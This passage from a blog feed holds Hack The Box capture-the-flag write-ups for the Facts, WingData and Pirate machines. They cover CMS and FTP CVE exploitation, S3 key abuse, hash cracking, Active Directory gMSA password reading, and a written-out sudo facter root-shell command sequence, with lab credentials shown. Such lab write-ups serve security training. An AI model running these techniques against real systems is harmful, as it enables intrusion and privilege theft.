|     X-Amz-Request-Id: 188FE84E9E3B613B
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 31 Jan 2026 19:43:22 GMT
|     &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
|     &amp;lt;Error&amp;gt;&amp;lt;Code&amp;gt;InvalidRequest&amp;lt;/Code&amp;gt;&amp;lt;Message&amp;gt;Invalid Request (invalid argument)&amp;lt;/Message&amp;gt;&amp;lt;Resource&amp;gt;/&amp;lt;/Resource&amp;gt;&amp;lt;RequestId&amp;gt;188FE84E9E3B613B&amp;lt;/RequestId&amp;gt;&amp;lt;HostId&amp;gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&amp;lt;/HostId&amp;gt;&amp;lt;/Error&amp;gt;
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sat, 31 Jan 2026 19:43:23 GMT
|_    Content-Length: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8d043caf73d9d24b087136565961830c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;gobuster&lt;/h3&gt;
&lt;p&gt;I then went ahead and used &lt;code&gt;gobuster&lt;/code&gt; to enumerate the directories.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/38ab92859a5eaf3084dcdac90c919f99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I headed over and tried to log in but failed, so instead went to the &lt;code&gt;/register&lt;/code&gt; tab where I registered for an account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/591f9244c958fd6b8dde380edc07f1ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/038e13685a53169ae3537d331082e2b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/376d2f8ffa5ae38d6e0a6aae009346f1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once inside I noticed at the bottom that it&apos;s running on &lt;strong&gt;Camaleon CMS - 2.9.0&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;OSINT&lt;/h3&gt;
&lt;p&gt;I went ahead and started looking around for exploits:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/064bc94c0aebec75e1707c5f5e87f53d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Delving deeper into it we find that the founder of this CVE posted a short informational writeup on &lt;a href=&quot;https://www.tenable.com/security/research/tra-2025-09&quot;&gt;tenable&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e9dfb3fd1978e4c02a6d58dd291b5fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;CVE-2025-2304&lt;/h3&gt;
&lt;p&gt;So I head over and attempt to change the password, where I notice the &lt;strong&gt;Role&lt;/strong&gt; is greyed out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c444d592782c1e376171b424279328f3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then using &lt;a href=&quot;https://github.com/the8frust/CVE-2025-2304/blob/main/exploit.py&quot;&gt;this exploit&lt;/a&gt; I was able to exploit the vulnerability inside the password change:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c5a2038b2c8a88cecc66ae34982658a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Logging back in we notice that we now have &lt;em&gt;Administrator&lt;/em&gt; privileges.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8163fdd0f995805e9bb5f9274952d00f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heading over to the following page I found the AWS S3 info:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9122d0c03735fc74ae512039b2c0ca1f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;MinIO cli&lt;/h2&gt;
&lt;p&gt;In order to make use of this S3 bucket I downloaded &lt;code&gt;mc&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://dl.min.io/client/mc/release/linux-amd64/mc -O /usr/local/bin/mc &amp;amp;&amp;amp; chmod +x /usr/local/bin/mc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up I created an alias:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mc alias set facts http://facts.htb:54321 AKIA8A8C1BCD91954B20 H6mMjKA49rX605mmBoJrrxURj8PIPRfb9EbuaIas
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once that was done I could issue commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ea34be076dc24f35c6280545bd7ff1f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I decided to check out the &lt;code&gt;internal/&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/45fb24d32e674d61d1f7ba7857c6d714.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And lo and behold all the way at the bottom:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/69ebbff395f3898d1fe74e62fed9a1f3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I copied over the &lt;code&gt;ssh&lt;/code&gt; key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4253637a050172da3dee2b60515bef44.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried to identify the user to which this key belonged to, but unfortunately the username wasn&apos;t listed in &lt;code&gt;authorized_keys&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4e9d254a5c23cb8d5b2c368d73c571e6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Shortly after I noticed that the &lt;code&gt;id_ed25519&lt;/code&gt; key was actually encrypted with a passphrase, and I could decrypt it as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/67aab125fd6dee385689c3327f0a31e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa16c9be3944b62f69b809305dbbbdae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as trivia&lt;/h2&gt;
&lt;p&gt;Combining all of the above we are able to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6eeb0c01eb574895034ad17b3b19f25f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However the &lt;code&gt;user.txt&lt;/code&gt; flag was not inside this user&apos;s &lt;code&gt;/home&lt;/code&gt; directory, but rather in &lt;em&gt;william&lt;/em&gt;&apos;s.
Luckily for us though we have &lt;code&gt;read&lt;/code&gt; privs over the flag.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e3123690e63d28833ff8997219d17be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;facter&lt;/h2&gt;
&lt;p&gt;Checking out the &lt;code&gt;sudo&lt;/code&gt; privs I find the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f84f20d8bb640bbcbcd3138c5275cef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;using &lt;a href=&quot;https://gtfobins.org/gtfobins/facter/&quot;&gt;GTFObins&lt;/a&gt; I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4affee574b8d3a198c31aa7d7fcf3d4b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can get instant &lt;em&gt;root&lt;/em&gt; privs by abusing this as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /tmp/f
echo &apos;exec &quot;/bin/bash&quot;&apos; &amp;gt; /tmp/f/pwn.rb
sudo facter --custom-dir=/tmp/f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1b8146162092b2fc352747870cd0ad19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b928abfe51bc4708996a6113f5cfc803.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f40390cd64654c593d5063eed31071de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/h2&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-WingData</title><link>https://maxk9999.vercel.app/posts/wingdata</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/wingdata</guid><pubDate>Tue, 17 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &apos;~/components/PasswordProtect.client&apos;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.129.15.56
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 --min-rate=5000 -vvvv wingdata.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.66
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: WingData Solutions
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0c1bf0d009f558ecdd65cb4e46f9ae4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heading over to the &lt;strong&gt;Client Portal&lt;/strong&gt; tab we get redirected to another vhost which we need to add in order to access it.&lt;/p&gt;
&lt;p&gt;Once added we can access it as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/017a8992128ad5762e74f44311ce7632.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I notice the software version and look it up.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2025-47812&lt;/h2&gt;
&lt;p&gt;There appears to be a &lt;strong&gt;Unauthenticated RCE&lt;/strong&gt; exploit available:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e2bffb05d6790baa4e004c8b80fdd7b9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21ed5cddde5603731b0dd4ccaa136dce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I download the PoC and attempt to run it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eadd3f90aa9d4ae77b3f799586c30919.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d0449c9fa31c67e14a2cb1ca9c9803d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears to work flawlessly, let&apos;s get a reverse shell set up.&lt;/p&gt;
&lt;h2&gt;Shell as wingftp&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/326e49ab3fe62607c214eaa81d88990e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/613e9164cc00cccd1c39a399a9686697.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I notice one other user to whom we need to move laterally:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d39886ae4680339eb97d462f0b6f97c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;While enumerating the directory we landed in we find the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a975c6a50fe3a43169401072296fc81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;among these files the &lt;code&gt;audit_db&lt;/code&gt; sounds interesting so I download it over:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9ad7bf6398b60c75201383c26bd6b689.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However nothing of use is found inside:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d23ec081ec02e9815b0ad4b8f978c6c3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However looking further I did find a password for the server:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97cece135874b752e0f26e00656f2976.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was unable to crack the above hash however, so instead looked further:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1ec46985deb516cd29962e71818c2989.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This one was yet again uncrackable, but then I finally stumbled upon something&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/00b4e39993c57710aa2a5777e350566a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside this folder was the &lt;code&gt;wacky.xml&lt;/code&gt; file, and this is a valid user on the &lt;code&gt;ssh&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/55c50178e42bb1e5f5278bbf59551cfe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now all that&apos;s left is to crack the hash.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/408e5c9d32e690201d4d20bc90c7c268.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78e778c078663f500ab2f582ec9c7f28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;hashcat&lt;/h3&gt;
&lt;p&gt;I noticed that I had to use &lt;code&gt;WingFTP&lt;/code&gt; as the salt so I appended it to my hash, then used &lt;code&gt;hashcat&lt;/code&gt; to crack it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fbc486f5c84e6cf2d5837df3c990a29c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cef6af7189921c298308d3186d1563ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dfcf078c56c4abae8d6729581dbb2518.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wacky
!#7Blushing^*Bride5
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lateral Movement to Wacky&lt;/h2&gt;
&lt;p&gt;Using the cracked password we can log into the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1877d91ab4f174d5e6751a391ac2a294.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6acc7d9a7388b8ae5ebf60ca7899f810.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;CVE-2025-4138&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;sudo -l&lt;/code&gt; I noticed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1fddc1f31e8d3cbf18e43e9b90655f34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By analyzing the &lt;code&gt;python&lt;/code&gt; file I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/766d15e004a97dfb3ef2d5c77079b2fe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This can be exploited using &lt;strong&gt;CVE-2025-4138&lt;/strong&gt; for which there are plenty of PoC&apos;s, but I&apos;ll be using this one:&lt;/p&gt;
&lt;p&gt;https://github.com//thefizzyfish//CVE-2025-4138_tarfile_filter_bypass&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/588de58ea9f0cf48c51e1df30ed62fd2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First I created a &lt;code&gt;ssh&lt;/code&gt; key which I would transfer to the target in order to put it inside the &lt;code&gt;/root/.ssh&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0446cafec13ebe95e7dffdfffa724d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After creating and transferring the &lt;code&gt;ssh&lt;/code&gt; key I went to work with the PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca7195b2fb786722ff330da5d0398515.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then transfer the backup to the correct folder:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0e43fb4b8e0ae00ce8a20676d683d9c8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once the above is done I can connect using my &lt;code&gt;id_rsa&lt;/code&gt; key:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/df79bd7b7d528807db09842b345e442e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d896ba1038c0c513aca337e017d67be0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4c0ce50f3d5c20aa45fadcb977ab9b37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Pirate</title><link>https://maxk9999.vercel.app/posts/pirate</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/pirate</guid><pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &apos;~/components/PasswordProtect.client&apos;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.129.244.95

Creds:
pentest
p3nt3st2025!&amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 --min-rate=5000 -vvvv pirate.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-03-05 13:41:38Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
|_ssl-date: 2026-03-05T13:43:07+00:00; +6h59m57s from scanner time.
443/tcp   open  https?        syn-ack
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
|_ssl-date: 2026-03-05T13:43:07+00:00; +6h59m57s from scanner time.
2179/tcp  open  vmrdp?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T13:43:07+00:00; +6h59m57s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T13:43:07+00:00; +6h59m57s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49685/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack Microsoft Windows RPC
49688/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  msrpc         syn-ack Microsoft Windows RPC
49914/tcp open  msrpc         syn-ack Microsoft Windows RPC
49940/tcp open  msrpc         syn-ack Microsoft Windows RPC
49964/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 65389/tcp): CLEAN (Timeout)
|   Check 2 (port 57669/tcp): CLEAN (Timeout)
|   Check 3 (port 53723/udp): CLEAN (Timeout)
|   Check 4 (port 21019/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m56s, deviation: 0s, median: 6h59m56s
| smb2-time: 
|   date: 2026-03-05T13:42:27
|_  start_date: N/A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In order to avoid clock skew errors I used the following commands to adjust the time to that of the target:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo timedatectl set-ntp true
sudo ntpdate -u 10.129.244.95
sudo timedatectl set-ntp false 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c721d689e71058883d2215aff7dde94f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;NXC&lt;/h2&gt;
&lt;p&gt;I generated a &lt;code&gt;krb5.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e4cda1dbd8819f28de83c9aba794a2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then started my enumeration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/90dfe3f700d288e00d481ef5e49ad7e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f7ccd0113ef232900ef7b20bbf31cb1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I also noticed some &lt;code&gt;gMSA&lt;/code&gt; accounts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d141b46887fb4c1bb8033d63cf2a2d2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My current user does not have READ permissions on them, so might need to take someone else over that does:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b4e6237fd9c102eff9381f656bf4e3f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried spraying the machine accounts with the &lt;code&gt;name - name&lt;/code&gt; combo and found a working one!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0e98644824ca31841c7f962fe5c3097.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MS01$
ms01
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;Since I couldn&apos;t find anything else I booted up &lt;code&gt;bloodhound&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ad7b73f6d60376175ad1256b8e6e5d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a3aa11512f4ce134395e532e4b4a77fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Be sure to use &lt;code&gt;bloodhound-python&lt;/code&gt; instead of the CE version for querying here as that one will NOT work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d75b7f4d04c0ed77d3396471c2a3f444.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;ReadGMSAPassword&lt;/h3&gt;
&lt;p&gt;Once all the necessary info has been gathered we can import it and start graphing the data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c825b54e0c5bb0f2e5d4ebcccdc59b3e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed that the &lt;em&gt;MS01$&lt;/em&gt; machine account was able to read the &lt;code&gt;gMSA&lt;/code&gt; passwords so let&apos;s do that right away and get access via &lt;code&gt;winrm&lt;/code&gt; with &lt;em&gt;gmsa_adfs_prod&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e0afad6f463b44503ca995b101dcab35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gMSA_ADCS_prod$
304106f739822ea2ad8ebe23f802d078

gMSA_ADFS_prod$
8126756fb2e69697bfcb04816e685839
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;evil-winrm as gMSA_ADFS_prod$&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4424b4b818c016919da048f7dc6672b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing interesting stood out at first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0023e4bc91957055afc110bc3c82ba6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I did however find another IP address:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9443f22f4650248898dc5ad0800485ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Which turned out to be &lt;strong&gt;WEB01&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4c30afc98b5f00647f1777ca084d1206.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pivoting&lt;/h2&gt;
&lt;p&gt;Time to pivot to &lt;strong&gt;WEB01&lt;/strong&gt; and for this I&apos;ll be uploading the &lt;code&gt;agent.exe&lt;/code&gt; binary from &lt;code&gt;ligolo-ng&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01e1c1d4c2328a98321eeac06c6dff55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8bc22281736fbe78c51e366dffa42890.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/084462e9bc7a9cd8a25453e8b48502aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c3c08a595e3503c559504c80b0d024ca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b2afee2d8935991a84959edfd84cecc4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
